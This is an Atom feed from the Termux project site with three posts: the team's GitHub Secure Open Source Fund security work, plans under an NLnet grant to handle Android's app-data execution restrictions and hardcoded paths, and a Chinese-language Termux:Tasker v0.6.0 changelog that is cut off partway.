<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://termux.dev/feed.xml" rel="self" type="application/atom+xml" /><link href="https://termux.dev/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-01-24T09:19:03+00:00</updated><id>https://termux.dev/feed.xml</id><title type="html">Termux</title><subtitle>The main termux site and help pages.</subtitle><entry xml:lang="en"><title type="html">Termux Selected For GitHub Secure Open Source Fund Session 2</title><link href="https://termux.dev/en/posts/general/2025/08/11/termux-selected-for-github-secure-open-source-fund-session-2.html" rel="alternate" type="text/html" title="Termux Selected For GitHub Secure Open Source Fund Session 2" /><published>2025-08-11T00:00:00+00:00</published><updated>2025-08-11T00:00:00+00:00</updated><id>https://termux.dev/en/posts/general/2025/08/11/termux-selected-for-github-secure-open-source-fund-session-2</id><content type="html" xml:base="https://termux.dev/en/posts/general/2025/08/11/termux-selected-for-github-secure-open-source-fund-session-2.html"><![CDATA[<p>During June 2025 Termux team members <a href="https://github.com/agnostic-apollo">Agnostic Apollo</a> and <a href="https://github.com/Grimler91">Henrik Grimler</a> participated in the Session 2 of the <a href="https://resources.github.com/github-secure-open-source-fund">GitHub Secure Open Source Fund</a> program, together with maintainers from <code>~50</code> other open source projects. The program has been one of GitHub ways to work towards increasing security and security awareness in open source projects. You can read GitHub's announcement about the program at <a href="https://github.blog/open-source/maintainers/securing-the-supply-chain-at-scale-starting-with-71-important-open-source-projects">https://github.blog/open-source/maintainers/securing-the-supply-chain-at-scale-starting-with-71-important-open-source-projects</a>.</p>
<p>In this post we will describe what we learnt, did and plan to do.</p>
<hr />
<p> </p>
<h2 id="what-we-learnt">What We Learnt</h2>
<p>The program was only <code>3</code> few weeks long, but touched on many important concepts, including but not limited to:</p>
<ul>
<li>Licenses and license compliance.</li>
<li>Security advisories.</li>
<li>Security incident responses.</li>
<li>Threat modelling.</li>
<li>Securing GitHub Actions.</li>
<li>Securing code with CodeQL and code scanning.</li>
<li>Secure UX design.</li>
<li>AI and MCP security.</li>
<li>Securing code with the help of GitHub Copilot.</li>
<li>Securing and testing code with Fuzzing.</li>
</ul>
<hr />
<p> </p>
<h2 id="what-we-did">What We Did</h2>
<p>Even though Termux has already done <a href="/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html">a security disclosure once before</a>, the program helped us learn how to go through this process a bit more formally. As part of the program:</p>
<ul>
<li>
<p>Learnt how to assign a Common Vulnerability Scoring System (CVSS) score and request a Common Vulnerabilities and Exposures (CVE) ID from GitHub itself.</p>
</li>
<li>
<p>Published our <a href="/en/security.html">Security Policy</a> and <a href="/en/security-incident-response-checklist.html">Security Incident Response Checklist</a> to formalize the process of reporting vulnerabilities to Termux and how we should handle them. These are linked in the <code>SECURITY.md</code> files of our repositories, like <a href="https://github.com/termux/termux-app/blob/master/SECURITY.md"><code>termux-app</code></a> and <a href="https://github.com/termux/termux-packages/blob/master/SECURITY.md"><code>termux-packages</code></a>.</p>
</li>
<li>
<p>Added a dedicated <code>security</code> category for posts on our site instead of mixing them under <code>general</code> posts. (<a href="https://github.com/termux/termux.github.io/commit/c23bfd8c427e8973bfd03aa09990f85272bbd956">1</a>)</p>
</li>
<li>
<p>Added <a href="https://github.com/github/codeql-action">CodeQL GitHub Action</a> workflow to scan GitHub Actions scripts of <code>termux-packages</code> repository, it will be added for other repositories in future. <a href="https://securityscorecards.dev">OpenSSF Scorecard</a> that we learned about may be used as well. (<a href="https://github.com/termux/termux-packages/commit/067ed1b4e211d7c2678b0133f8eed7f45de00b0b">1</a>)</p>
</li>
<li>
<p>Add <a href="https://github.com/actions/gradle-build-tools-actions#the-dependency-submission-action">Dependency Submission GitHub Action</a> workflow for automatic dependency submission for Termux app for <code>gradle</code> builds so that Software Bill of Materials (SBOM) can be generated, which also enabled dependency vulnerability reporting in the repository Security tab. (<a href="https://github.com/termux/termux-app/commit/4a9ad910ddc9ccaa872d37689705d21d98486821">1</a>)</p>
</li>
</ul>
<hr />
<p> </p>
<h2 id="what-we-plan-to-do">What We Plan To Do</h2>
<p>The program and our work on security enhancements is not over just yet, it will continue on until the abyss consumes us. We plan to look into the following in future:</p>
<ul>
<li>
<p>Add a threat model for Termux app and plugins and our repo servers. This couldn't be done during the <code>3</code> week program as formally evaluating and writing docs for all would take days and weeks of work as our project scale is too wide, so will be done later. Currently, we normally discuss threats in pulls and issues when things are getting implemented.</p>
</li>
<li>
<p>The power and greatness of <a href="https://codeql.github.com/">CodeQL</a> cannot be denied and is something we can leverage to secure our open source projects. It can be used to scan security issues in code based on <a href="https://codeql.github.com/codeql-query-help/codeql-cwe-coverage">published Common Weakness Enumerations (CWE)</a>, and using custom CodeQL for additional vulnerability detection would be really helpful too, for both our apps and libraries.</p>
</li>
<li>
<p>Adding fuzzing based testing to Termux APIs and libraries, but it may need to be restricted to a small set of APIs that are tested or with limited inputs, as there seems to be resource consumption issues, will have to research into how large projects use it.</p>
</li>
<li>
<p>Look into adding Termux app version name, Android release version and other Termux specific runtime and build info into user agent used by <code>apt</code>/<code>pkg</code> commands when downloading packages from our repository servers with an opt out. Currently only Termux package and prefix build values are sent. This should give us info on the distribution of Termux/Android versions among users and can help us better gauge the security impact of vulnerabilities. It will also help us know the usage metrics of third party apps using Termux execution environment and packages when <a href="/en/posts/general/2024/11/11/termux-selected-for-nlnet-ngi-mobifree-grant.html#dynamic-variables">Dynamic Variables</a> support is added. Any user uniquely identifiable info will not be sent of course.</p>
</li>
</ul>
<hr />
<p> </p>
<h2 id="thanks">Thanks!</h2>
<p><em>The GitHub SOSF program has been the catalyst we needed to formalize our security procedures and its learnings have made us more aware of the many ideas and GitHub toolings we can use to improve the security of our project. - agnostic-apollo</em></p>
<p>We want to thank the GitHub and Microsoft staff, especially from the GitHub Security Lab for sharing their knowledge and helping us grow, as well as all the <a href="https://github.blog/open-source/maintainers/securing-the-supply-chain-at-scale-starting-with-71-important-open-source-projects/#h-help-us-make-open-source-more-secure-nbsp">program funders</a> for making the program possible. A big shout out to all the other projects that participated in the program as well, there has been a lot we were able to learn from each other, and help each other with!</p>
<hr />
<p> </p>]]></content><author><name></name></author><category term="general" /><summary type="html"><![CDATA[During June 2025 Termux team members Agnostic Apollo and Henrik Grimler participated in the Session 2 of the GitHub Secure Open Source Fund program, together with maintainers from ~50 other open source projects. The program has been one of GitHub ways to work towards increasing security and security awareness in open source projects. You can read GitHub's announcement about the program at https://github.blog/open-source/maintainers/securing-the-supply-chain-at-scale-starting-with-71-important-open-source-projects.]]></summary></entry><entry xml:lang="en"><title type="html">Termux Selected For NLnet NGI Mobifree Grant</title><link href="https://termux.dev/en/posts/general/2024/11/11/termux-selected-for-nlnet-ngi-mobifree-grant.html" rel="alternate" type="text/html" title="Termux Selected For NLnet NGI Mobifree Grant" /><published>2024-11-11T00:00:00+00:00</published><updated>2024-11-11T00:00:00+00:00</updated><id>https://termux.dev/en/posts/general/2024/11/11/termux-selected-for-nlnet-ngi-mobifree-grant</id><content type="html" xml:base="https://termux.dev/en/posts/general/2024/11/11/termux-selected-for-nlnet-ngi-mobifree-grant.html"><![CDATA[<p>Termux has been approved to receive a grant from the <a href="https://nlnet.nl">NLnet Foundation</a> under its NGI Mobifree (<a href="https://nlnet.nl/mobifree">1</a>, <a href="https://mobifree.org">2</a>) program for the June 2024 call. NGI Mobifree is a pilot within the European Commission's <a href="https://ngi.eu">Next Generation Internet</a> (NGI) initiative. The public announcement by NLnet is available at <a href="https://nlnet.nl/news/2024/20241111-NGI-Mobifree-grants.html">https://nlnet.nl/news/2024/20241111-NGI-Mobifree-grants.html</a> with our project page at <a href="https://nlnet.nl/project/Termux">https://nlnet.nl/project/Termux</a>.</p>
<p><a href="https://github.com/Grimler91">Henrik Grimler</a> and <a href="https://github.com/agnostic-apollo">agnostic-apollo</a> are really grateful for this opportunity and really excited to work with the NLnet Foundation under the grant.</p>
<p>Under the NGI Mobifree grant the following three improvements to Termux are planned to be implemented.</p>
<ol>
<li><a href="#termux-core-library">termux-core Library</a></li>
<li><a href="#apk-library-file-apklf">APK Library File (APKLF)</a></li>
<li><a href="#dynamic-variables">Dynamic Variables</a></li>
</ol>
<hr />
<p> </p>
<h2 id="termux-core-library">termux-core Library</h2>
<p>The <code>termux-core</code> library will be created which will allow external projects to use Termux execution environment and packages in their own apps. Currently, to integrate Termux in third party apps requires a full fork of Termux app and manual integration.</p>
<p>The library is planned to be provided under the <a href="https://opensource.org/licenses/MIT"><code>MIT</code></a> license to increase adoption and prevent license conflicts as we want <code>termux-core</code> to be more attractive to external projects and commercial entities that could have uses for a termux-ish environment in their app. We hope the MIT license + proof-of-concept demonstrations can help us land some support contracts, and make the Termux project more economically sustainable.</p>
<hr />
<p> </p>
<h2 id="apk-library-file-apklf">APK Library File (APKLF)</h2>
<p>A new APK Library File (APKLF) execution/packaging design will be implemented so that Termux can comply with security restrictions added in Android <code>10</code> prevents apps from executing downloaded packages if an app uses <a href="https://developer.android.com/guide/topics/manifest/uses-sdk-element#target"><code>targetSdkVersion</code></a> <code>&gt;= 29</code> (Android <code>10</code>). As a workaround Termux is currently using <code>targetSdkVersion</code> <code>= 28</code> (Android <code>9</code>) to run in backward compatibility mode.</p>
<p>Check the <a href="https://github.com/agnostic-apollo/Android-Docs/blob/master/site/pages/en/projects/docs/apps/processes/app-data-file-execute-restrictions.md">App Data File Execute Restrictions</a>, including the <a href="https://github.com/agnostic-apollo/Android-Docs/blob/master/site/pages/en/projects/docs/apps/processes/app-data-file-execute-restrictions.md#untrusted_app-selinux-policy"><code>untrusted_app* SeLinux Policy</code></a> section for more info on the Android security restrictions. Check the <a href="https://github.com/termux/termux-app/issues/1072">termux/termux-app#1072: No more exec from data folder on targetAPI &gt;= Android Q</a> and <a href="https://github.com/termux/termux-app/issues/2155">termux/termux-app#2155: Revisit the Android W^X problem</a> issues for discussions regarding the issues and possible solutions. To understand how Termux executes files, check the <a href="https://github.com/termux/termux-packages/wiki/Termux-execution-environment">Termux Execution Environment</a> docs.</p>
<p>Check the <a href="https://github.com/agnostic-apollo/Android-Docs/blob/master/site/pages/en/projects/docs/apps/processes/app-data-file-execute-restrictions.md#apk-native-library"><code>APK Native Library</code></a> docs for more info on the <code>APKLF</code> design, and the <code>Issues</code> sections for details on all its issues that need to be solved. A proper design doc and info on additional issues will be published in near future.</p>
<p><code>APKLF</code> design is very critical for long term functioning and stability of the Termux app, as the exemption allowed by Android for apps like Termux to execute downloaded files by using <code>targetSdkVersion</code> <code>= 28</code> (Android <code>9</code>) may end in some future Android version, which will break Termux completely. Android has already bumped <code>PLATFORM_MIN_SUPPORTED_TARGET_SDK_VERSION</code> to <code>28</code> in Android <code>14</code> and there are plans to bump it to <code>29</code> soon, which will then show a message when Termux app is launched to warn the users that app may not work properly as it's targeting too old an sdk. (<a href="https://cs.android.com/android/_/android/platform/build/+/67ebe09f86bf55b54731cfa99bbfbe90db7c850b">1</a>, <a href="https://cs.android.com/android/_/android/platform/build/release/+/abd2b8452b81f79722dffcd45a491473b2be91d6:flag_declarations/RELEASE_PLATFORM_MIN_SUPPORTED_TARGET_SDK_VERSION.textproto;l=1;bpv=1;bpt=0;drc=9f7ef8bd22b400ba7ca922eba1db83c6701d979c">2</a>) Additionally, this is required for <a href="#termux-core-library"><code>temrux-core</code> library</a> as well as external apps, especially ones on Google PlayStore, cannot use older <code>targetSdkVersion</code> like Termux does to bypass restrictions.</p>
<h3 id="context">Context</h3>
<p>Android restricts execution based on SeLinux policies and contexts assigned to app processes (<code>untrusted_app*</code>) and their files under app data directory (<code>app_data_file</code>). If a file exists in the private app data directory <code>/data/data/&lt;package_name&gt;</code> of the app, in which files can be created at runtime, Android does not allow execution if app uses <code>targetSdkVersion</code>  <code>&gt;= 29</code> as that is considered a security risk to allow random code to be executed. Google wants only files that exist inside app APKs to be executable as APKs can be scanned for malicious files, either on device or when uploaded to app stores like Google PlayStore. This is a different security model than how general purpose computers work which allow downloading and executing code without any restrictions.</p>
<ul>
<li>
<p>The solution that is approved by Android, and which will be used by <code>APKLF</code>, is for app developers to add any executable files to the APK native library directory, which are then extracted to system controlled <code>/data/app/*&lt;package_name&gt;/lib/&lt;arch&gt;</code> path when app is installed. Files under this directory have a different SeLinux contexts <code>apk_data_file</code> for which execution is allowed. However, this is a single level directory and nested directories required by a rootfs are not allowed, so files inside it need to be symlinked into the rootfs inside the app data directory to provide a proper execution environment. Moreover, a single APK cannot contain 1000s of packages, and updating a single package would also require downloaded and installing the entire APK, so packages need to be in distributed in their own separate app APKs. Lot of complications exist in this design that would need to be solved.</p>
</li>
<li>
<p>Another &quot;hack&quot; that's named <code>system_linker_exec</code> was also found that allows executing files from app data directory while still using <code>targetSdkVersion</code> for latest Android versions. This is done by hooking into <code>exec()</code> functions and passing the executable path to the <code>/system/bin/linker</code> for it execute it, this way SeLinux assumes that a safe path under <code>/system/bin</code> is being executed and allows it. However, this hack will likely get patched by Android as it is a security risk and cannot be relied on as a long term solution and is also not compliant with Google PlayStore policies. Check the <a href="https://github.com/termux/termux-exec/pull/24#issuecomment-1873059748">termux/termux-exec/pull/24 </a> pull request and <a href="https://github.com/agnostic-apollo/Android-Docs/blob/master/site/pages/en/projects/docs/apps/processes/app-data-file-execute-restrictions.md#system-linker-exec">System Linker Exec</a> docs, and <a href="https://github.com/termux/termux-exec/blob/bb75f48d646aa0478527196f1878df53cd1a257c/site/pages/en/projects/docs/technical/index.md"><code>termux-exec</code> technical</a> docs for how this works.</p>
</li>
<li>
<p>Another solution that is yet to be asked from Google is to add a special SeLinux process domain for apps that have been granted a special permission with <code>adb</code> to execute files in some future Android version <code>X</code>, but there is no guarantee that is will be approved and Android version 10 to (X-1) would still not be able to use it. Check <a href="https://github.com/termux/termux-app/issues/2155#issuecomment-1421268867">termux/termux-app/issues/2155</a> issue comment and <a href="https://github.com/agnostic-apollo/Android-Docs/blob/master/site/pages/en/projects/docs/apps/processes/app-data-file-execute-restrictions.md#untrusted_dev_app-process-context-type"><code>untrusted_dev_app</code> process context type</a> docs for more info.</p>
</li>
</ul>
<hr />
<p> </p>
<h2 id="dynamic-variables">Dynamic Variables</h2>
<p>Termux package sources will be patched to read paths from environment variables exported by the app, or compiled package files will be patched at install time, rather than relying on hardcoded paths in the package files to Termux rootfs.</p>
<p>Termux packages currently use hardcoded paths/variables that are added/replaced in package sources at build time for its Termux rootfs directory <code>/data/data/com.termux/files</code> under the app data directory that Android is expected to assign to the Termux app if it's installed in the primary Android user <code>0</code>. This prevents Termux packages to run if Termux app is installed in secondary users/work profiles, or on external sdcards, or if packages are running in an external app with a different app data or rootfs directory, unless packages are compiled specifically for the different rootfs path.</p>
<p>There are currently around <code>~4000</code> placeholders in package source/patch files that are replaced at build time with Termux variables. There are also additional variables passed as build time config to package source builder scripts. To solve the issues of hardcoded values, following will be done.</p>
<ul>
<li>The sources of any executable files of the package will be patched at build time with package source language specific code to read environment variables at runtime that are exported by the Termux app.</li>
<li>Non-executable files will be patched at install time on the device where the placeholder in package files will be replaced with its respective current environment variable value by the package manager (<code>dpkg</code>). Similar replacement will need to done for package files in the Termux app <a href="https://github.com/termux/termux-packages/wiki/For-maintainers#bootstraps">bootstrap</a> during bootstrap installation. Compressed files will require special logic for replacement if possible. The path placeholders itself will likely with working default paths with extra path separators <code>/</code> added to fill up the max length of each path type as per <a href="https://github.com/termux/termux-packages/wiki/Termux-file-system-layout#file-path-limits">Termux file path limits</a>, and paths with the same length will be replaced otherwise a file may break. This should also ensure that existing Termux installations do not break, like in case if a package got updated before <code>dpkg</code> was updated to the version that implements the placeholder replacement if placeholder was not a working path.</li>
</ul>
<p>Executable files will not use the placeholder-patch design at install time as for <a href="#apk-library-file-apklf">APKLF</a> design, the executables will be read-only library files under the system owned APK native library directory (<a href="https://developer.android.com/reference/android/content/pm/ApplicationInfo#nativeLibraryDir">ApplicationInfo.nativeLibraryDir</a>) <code>/data/app/*&lt;package_name&gt;/lib/&lt;arch&gt;</code>.</p>
<p>Packages that have been updated to dynamic variables design will be be marked as such in their package build <code>build.sh</code> files and <code>deb</code> control files. All the packages dependencies would need to be fixed as well before a package can be marked. Initially only the bootstrap and other important/popular packages will be patched.</p>
<p>Once packages are fixed to use environment variables, it should also allow external projects with a different app package name to execute packages already compiled for Termux app rootfs without having to recompile them from source, which often takes many hours and significant cpu/memory resources, so would ease adoption of Termux in external projects. However, packages may still have references to Termux name/urls inside them that are added at build time, and if an external project does not want that, then they will need to compile packages themselves anyways with their project specific values, but that will at least allow Termux packages to work if their app is installed on secondary users/work profiles, or on external sdcards.</p>
<p>Check the <a href="https://github.com/termux/termux-packages/wiki/Termux-file-system-layout">Termux Filesystem Layout</a> docs for more info on the Termux filesystem and the <a href="https://github.com/termux/termux-packages/wiki/Termux-file-system-layout#termux-rootfs-directory">Termux rootfs</a>.</p>
<hr />
<p> </p>]]></content><author><name></name></author><category term="general" /><summary type="html"><![CDATA[Termux has been approved to receive a grant from the NLnet Foundation under its NGI Mobifree (1, 2) program for the June 2024 call. NGI Mobifree is a pilot within the European Commission's Next Generation Internet (NGI) initiative. The public announcement by NLnet is available at https://nlnet.nl/news/2024/20241111-NGI-Mobifree-grants.html with our project page at https://nlnet.nl/project/Termux.]]></summary></entry><entry xml:lang="cn"><title type="html">Termux:Tasker v0.6.0 版本发布</title><link href="https://termux.dev/cn/posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html" rel="alternate" type="text/html" title="Termux:Tasker v0.6.0 版本发布" /><published>2022-02-25T00:00:00+00:00</published><updated>2022-02-25T00:00:00+00:00</updated><id>https://termux.dev/cn/posts/apps/2022/02/25/termux-tasker-v0.6.0-release</id><content type="html" xml:base="https://termux.dev/cn/posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html"><![CDATA[<p><code>Termux:Tasker</code> <code>v0.6.0</code> 版本已经发布。</p>
<p><strong>强烈建议您更新到 <code>v0.5.0</code> 或更高版本以修复 <a href="https://termux.github.io/cn/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html">Termux 应用程序漏洞披露</a> 。</strong></p>
<h2 id="section"></h2>
<p>您可以在 <a href="https://github.com/termux/termux-tasker/releases">这里</a> 查看版本。</p>
<h2 id="section-1"></h2>
<h1 id="section-2">变更日志</h1>
<h2 id="a-hrefhttpsgithubcomtermuxtermux-taskercomparev05v060v060a---2022-02-21-0922"><a href="https://github.com/termux/termux-tasker/compare/v0.5...v0.6.0">v0.6.0</a> - 2022-02-21 09.22</h2>
<h3 id="section-3">添加</h3>
<ul>
<li>
<p>为后台命令添加对<code>stdin</code>的支持。 用户现在可以通过 <code>stdin</code> 传递脚本， 比如 <code>$PREFIX/bin/bash</code>shell的<code>bash</code>脚本和<code>$PREFIX/bin/python</code>shell 的<code>python</code>脚本或任何其他命令。注意: 如果通过stdin传递脚本，请不要传递参数，因为shell的原因，它会出错（至少bash是如此）。因为Tasker捆绑限制最大脚本长度为45k，详情请查看<a href="https://github.com/termux/termux-tasker/blob/v0.6.0/app/src/main/java/com/termux/tasker/EditConfigurationActivity.java#L262"><code>EditConfigurationActivity.setStdinView()</code></a></p>
</li>
<li>
<p>添加对后台命令可以自定义日志级别的支持。值必须介于 <code>Logger</code>。LOG_LEVEL_OFF (0)<code>and</code>Logger.MAX_LOG_LEVEL<code>(currently</code>Logger.LOG_LEVEL_VERBOSE<code> (3)按照[</code>termux/termux-app@60f37bde<code>](https://github.com/termux/termux-app/commit/60f37bde). ([</code>5bf15189`](<a href="https://github.com/termux/termux-tasker/commit/5bf15189">https://github.com/termux/termux-tasker/commit/5bf15189</a>))</p>
</li>
<li>
<p>添加对前台命令的会话操作支持。 有效值由 <code>TermuxConstants</code> 定义。TERMUX_APP.TERMUX_SERVICE.VALUE_EXTRA_SESSION_ACTION_*<code>, 目前，介于 </code>0<code>and</code>3<code> 在 https://github.com/termux/termux-app/blob/v0.117/termux-shared/src/main/java/com/termux/shared/termux/TermuxConstants.java#L856. ([</code>6f6ddd0d`](<a href="https://github.com/termux/termux-tasker/commit/6f6ddd0d">https://github.com/termux/termux-tasker/commit/6f6ddd0d</a>))</p>
</li>
<li>
<p>添加对等待前台会话命令结果的支持。先前配置的操作将表现相同，只等待后台命令。 对于创建或编辑的操作, <code>Wait for result for commands</code>切换值将用于决定是否等待命令的结果. 它适用于前台会话和后台命令. 请注意，对于前台命令, 仅返回会话记录，其中包含组合在 <code>%stdout</code> 变量中的<code>stdout</code> 和<code>stderr</code>, 基本上任何发送到<code>/dev/pts</code>伪终端的东西，包括交互式会话的<code>PS1</code>前缀。对于退出失败的前台命令，需要 <code>termux-app</code> 版本 <code>&gt;=0.118</code> 才能让会话自动关闭，而无需等待用户按 回车<a href="https://github.com/termux/termux-app/commit/c19e01fc"><code>termux/termux-app@c19e01fc</code></a>. 关闭 <a href="https://github.com/termux/termux-tasker/issues/39">#39</a>. (<a href="https://github.com/termux/termux-tasker/commit/fecba503"><code>fecba503</code></a>)</p>
</li>
<li>
<p>根据<a href="https://github.com/termux/termux-app/commit/f62febbf"><code>termux/termux-app@f62febbf</code></a> 和 <a href="https://github.com/termux/termux-app/commit/a2209ddd"><code>termux/termux-app@a2209ddd</code></a>. (<a href="https://github.com/termux/termux-tasker/commit/1c1567f2"><code>1c1567f2</code></a>)添加对<code>%stdout_original_length</code> 和 <code>%stderr_original_length</code>结果变量的支持。</p>
</li>
<li>
<p>添加可以选择禁用的启动器图标/活动. 这允许用户知道他们是否安装了 termux 插件，而无需转到 android 设置里的应用列表，并且应该有助于减少当用户转移 termux 安装源并获取签名与以前安装的版本不匹配时产生的问题。 某些手机也需要这样做，以允许用户从 DuraSpeed 等 OEM 后台杀手中选择退出该应用程序。相关问题 <a href="https://github.com/termux/termux-widget/issues/56"><code>termux/termux-widget#56</code></a>. (<a href="https://github.com/termux/termux-tasker/commit/8a78f282"><code>8a78f282</code></a>)</p>
</li>
<li>
<p>根据 Android <code>12</code> 的要求为应用组件添加显式导出属性。 <a href="https://developer.android.com/about/versions/12/behavior-changes-12#exported">https://developer.android.com/about/versions/12/behavior-changes-12#exported</a>. (<a href="https://github.com/termux/termux-tasker/commit/50e20b22"><code>50e20b22</code></a>)</p>
</li>
<li>
<p>根据 <code>night-mode</code> <code>termux.properties</code> 值添加对 <code>EditConfigurationActivity</code> 的日/夜间主题的支持.  <code>TextIOActivity</code> stdin 将始终使用浅色主题，因为它目前不支持深色模式。将来使用媒体查看器支持更新<code>termux-shared</code>时将添加支持. (<a href="https://github.com/termux/termux-tasker/commit/b2cc90b6"><code>b2cc90b6</code></a>)</p>
</li>
<li>
<p>将插件从github repo url 发送到 <code>TermuxService</code> 以在失败时显示。 (<a href="https://github.com/termux/termux-tasker/commit/2eca337f"><code>2eca337f</code></a>)</p>
</li>
<li>
<p>创建版本时自动附加调试 APK。 (<a href="https://github.com/termux/termux-tasker/commit/705361ec"><code>705361ec</code></a>)</p>
</li>
<li>
<p>添加<code>LICENSE.md</code>。(<a href="https://github.com/termux/termux-tasker/commit/cf1eda49"><code>cf1eda49</code></a>)</p>
</li>
<li>
<p>添加了崩溃处理程序，以便在启动时可以在 <code>termux-app</code> 中显示崩溃通知。 (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
</ul>
<h3 id="section-4">修改</h3>
<ul>
<li>
<p>对于<code>stdin</code>，重新设计了插件配置视图和 <code>CardView</code> 支持。<code>termux-shared</code> 提供的 <code>TextIOActivity</code> 将暂时使用。 (<a href="https://github.com/termux/termux-tasker/commit/05af1af1"><code>05af1af1</code></a>, <a href="https://github.com/termux/termux-tasker/commit/b52db047"><code>b52db047</code></a>, <a href="https://github.com/termux/termux-tasker/commit/9c287360"><code>9c287360</code></a>)</p>
</li>
<li>
<p>启用后台模式并等待新插件配置的结果切换。 (<a href="https://github.com/termux/termux-tasker/commit/70d97e7a"><code>70d97e7a</code></a>)</p>
</li>
<li>
<p>保存时保留插件配置值，即使它们不会被使用，因为标准输入脚本可能会被删除。 (<a href="https://github.com/termux/termux-tasker/commit/26e1f5ea"><code>26e1f5ea</code></a>)</p>
</li>
<li>
<p>移动到应用程序版本的语义版本控制，并将提交的哈希值和 <code>github</code> 添加到 APK 文件名。(<a href="https://github.com/termux/termux-tasker/commit/4920bcd2"><code>4920bcd2</code></a>)</p>
</li>
<li>
<p>在简介中将参数长度修改为<code>20</code>。 (<a href="https://github.com/termux/termux-tasker/commit/a80fe8fb"><code>a80fe8fb</code></a>)</p>
</li>
<li>
<p>将简介长度从<code>60</code>增加到<code>120</code>，因为 Tasker 没这个限制。 如果它影响到了其他插件应用程序, 应该报告，以便可以使用条件简介大小. (<a href="https://github.com/termux/termux-tasker/commit/a5bcd56a"><code>a5bcd56a</code></a>)</p>
</li>
<li>
<p>禁用 <code>shrinkResources</code> 和混淆以测试可重现的构建和维护崩溃的堆栈跟踪。 (<a href="https://github.com/termux/termux-tasker/commit/93555047"><code>93555047</code></a>)</p>
</li>
<li>
<p>打开插件配置时不自动打开键盘。 (<a href="https://github.com/termux/termux-tasker/commit/267cf61c"><code>267cf61c</code></a>)</p>
</li>
<li>
<p>删除所有硬编码的 <code>com.termux</code> 常量，并使用 <code>termux-shared</code> 库中的 <code>TermuxConstants</code> 和 <code>TermuxPreferenceConstants</code> 的值。 (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>使用 <code>TermuxConstants</code> 中为 <code>PluginUtils</code> 定义的 <code>TermuxService</code> 返回的额外常量. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>使用 <code>termux-shared</code> 提供的 <code>FileUtils</code> 和 <code>TermuxFileUtils</code> 来处理所有文件相关的功能，它有更好的， 更安全和更新的代码。 (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>使用 <code>termux-shared</code> 提供的 <code>TermuxTaskerAppSharedPreferences</code> 来处理 <code>SharedPreferences</code> 功能。 (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>使用 <code>termux-shared</code> 提供的 <code>Logger</code> 进行日志记录。 日志级别不会从每个日志条目的 <code>SharedPreferences</code> 中获取，但会在应用程序启动时从 <code>SharedPreferences</code> 加载到 <code>Logger.CURRENT_LOG_LEVEL</code> 变量中以及作为单独进程运行并维护单独的 <code>Logger 的</code>FireReceiver<code>中</code>实例。 <code>termux-app</code> 还可以从其设置中设置日志级别。 (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>修复未从文件中读取日志级别的问题，该问题已在上游的 <code>TermuxTaskerAppSharedPreferences</code> 中修复。 (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>以前的工作目录只有在 <code>TermuxConstants</code> 下才会自动创建。TERMUX_HOME_DIR_PATH<code> 但现在即使它在</code>TermuxConstants.TERMUX_FILES_DIR_PATH<code> 下也会被创建。[</code>63e76458`](<a href="https://github.com/termux/termux-tasker/commit/63e76458">https://github.com/termux/termux-tasker/commit/63e76458</a>)</p>
</li>
<li>
<p>使用 <code>ExecutionCommand</code> 类来处理 <code>FireReceiver</code> 中的附加意图，因为它们与 <code>TermuxService</code> <code>ACTION_SERVICE_EXECUTE</code> 意图一致。(<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>使用 <code>termux-shared</code> 提供的 <code>TermuxUtils</code> 和 <code>PackageUtils</code> 并删除现有的 <code>TermuxUtils</code>。 <code>TermuxUtils.isTermuxAppAccessible()</code> 还将检查 <code>termux-tasker</code> 是否可以访问 <code>termux-app</code> 包 <code>Context</code>。 (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
</ul>
<h3 id="section-5">修复</h3>
<ul>
<li>
<p>修复由于使用相同的请求代码而发送到 <code>TermuxService</code> 的用于执行命令的<code>PendingIntent</code>存在潜在冲突 (<a href="https://github.com/termux/termux-tasker/commit/d9a172d7"><code>d9a172d7</code></a>)</p>
</li>
<li>
<p>修复切换到横向模式时出现 <code>android.view.WindowManager$BadTokenException: Unable to add window exception</code> (<a href="https://github.com/termux/termux-tasker/commit/d0e88055"><code>d0e88055</code></a>)</p>
</li>
<li>
<p>修复为<code>null</code>插件bundle返回的错误字符串 (<a href="https://github.com/termux/termux-tasker/commit/a0aaf8e8"><code>a0aaf8e8</code></a>)</p>
</li>
<li>
<p>如果没有将额外参数传递给<code>FireReceiver</code>，则修复<code>NullPointerException</code> (<a href="https://github.com/termux/termux-tasker/commit/49acd107"><code>49acd107</code></a>)</p>
</li>
<li>
<p>处理无法获取版本代码以生成插件结果包不太可能的情况 (<a href="https://github.com/termux/termux-tasker/commit/f6e33687"><code>f6e33687</code></a>)</p>
</li>
</ul>
<h3 id="section-6">文档</h3>
<ul>
<li>
<p>添加 Google Play商店的弃用通知 (<a href="https://github.com/termux/termux-tasker/commit/17c69428"><code>17c69428</code></a>)</p>
</li>
<li>
<p>添加贡献和分叉信息 (<a href="https://github.com/termux/termux-tasker/commit/78fbc00e"><code>78fbc00e</code></a>)</p>
</li>
<li>
<p>更新调试说明 (<a href="https://github.com/termux/termux-tasker/commit/81828177"><code>81828177</code></a>)</p>
</li>
<li>
<p>更新插件配置说明 (<a href="https://github.com/termux/termux-tasker/commit/f86a675a"><code>f86a675a</code></a>)</p>
</li>
<li>
<p>更新安装说明 (<a href="https://github.com/termux/termux-tasker/commit/ea1225ae"><code>ea1225ae</code></a>)</p>
</li>
